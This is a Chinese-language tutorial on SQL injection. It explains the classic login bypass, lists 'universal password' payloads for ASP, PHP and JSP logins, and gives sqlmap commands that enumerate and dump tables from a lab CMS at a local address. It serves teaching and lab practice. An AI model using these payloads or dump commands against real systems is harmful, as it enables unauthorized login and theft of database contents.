Web 安全之 SQL 注入

SQL 注入漏洞

  1. 语言有两种类型,分别是解释型语言和编译型语言。解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言。而编译型语言是代码在生成时转换为机器指令,然后在运行时直接由使用该语言的计算机执行这些指令。在解释型语言中,如果程序与用户进行交互,用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行有可能存在恶意行为的代码。例如:在与用户交互的程序中,用户的输入拼接到 SQL 语句中,执行了与原定计划不同的行为,从而产生了 SQL 注入漏洞。

  2. 登录 SQL 语句:select * from admin where username = '用户输入的用户名' and password = '用户输入的密码',此时用户输入的内容可由用户自行控制,例如可以输入 ' or 1=1 --空格

  3. SQL 语句:select * from admin where username = '' or 1=1 -- ' and password = '用户输入的密码',其中条件 or 1=1 永远为真,-- 注释后边的内容不再执行,因此 SQL 语句执行后会返回 admin 表中所有字段的内容

万能密码

万能密码是否有效,可以通过 Burp Suite 平台自行验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ASP、ASPX万能密码:
   1: "or "a"="a
   2: ')or('a'='a
   3:or 1=1--
   4:'or 1=1--
   5:a'or' 1=1--
   6: "or 1=1--
   7:'or'a'='a
   8: "or"="a'='a
   9:'or''='
   10:'or'='or'
   11: 1 or '1'='1'=1
   12: 1 or '1'='1' or 1=1
   13: 'OR 1=1%00
   14: "or 1=1%00
   15: 'xor

PHP万能密码:
   'or'='or'
   'or 1=1/*
    User: something,Password: ' OR '1'='1

JSP万能密码:
   1'or'1'='1
   admin' OR 1=1/*
   User: admin Password: 1'or'1'='1

CMS SQL 注入漏洞

  1. CMS 逻辑:index.php 是首页,具有文章列表(链接包含文章 id),articles.php 是文章详细页,其 URL 为 articles.php?id=文章id
  2. SQL 注入验证: 当文章 id 为 单引号'and 1=1and 1=2,若页面中出现 MySQL 的错误日志信息,或者页面不显示任何内容,则证明该页面存在 SQL 注入漏洞
  3. SQLMap 探测命令:
1
2
3
4
探测数据库: sqlmap -u "192.168.1.104:8080/cms/articles.php?id=1" --dbs
探测数据表: sqlmap -u "192.168.1.104:8080/cms/articles.php?id=1" -D cms --tables
探测表字段: sqlmap -u "192.168.1.104:8080/cms/articles.php?id=1" -D cms -T articles --columns
探测表字段值: sqlmap -u "192.168.1.104:8080/cms/articles.php?id=1" -D cms -T articles -C id,title,content --dump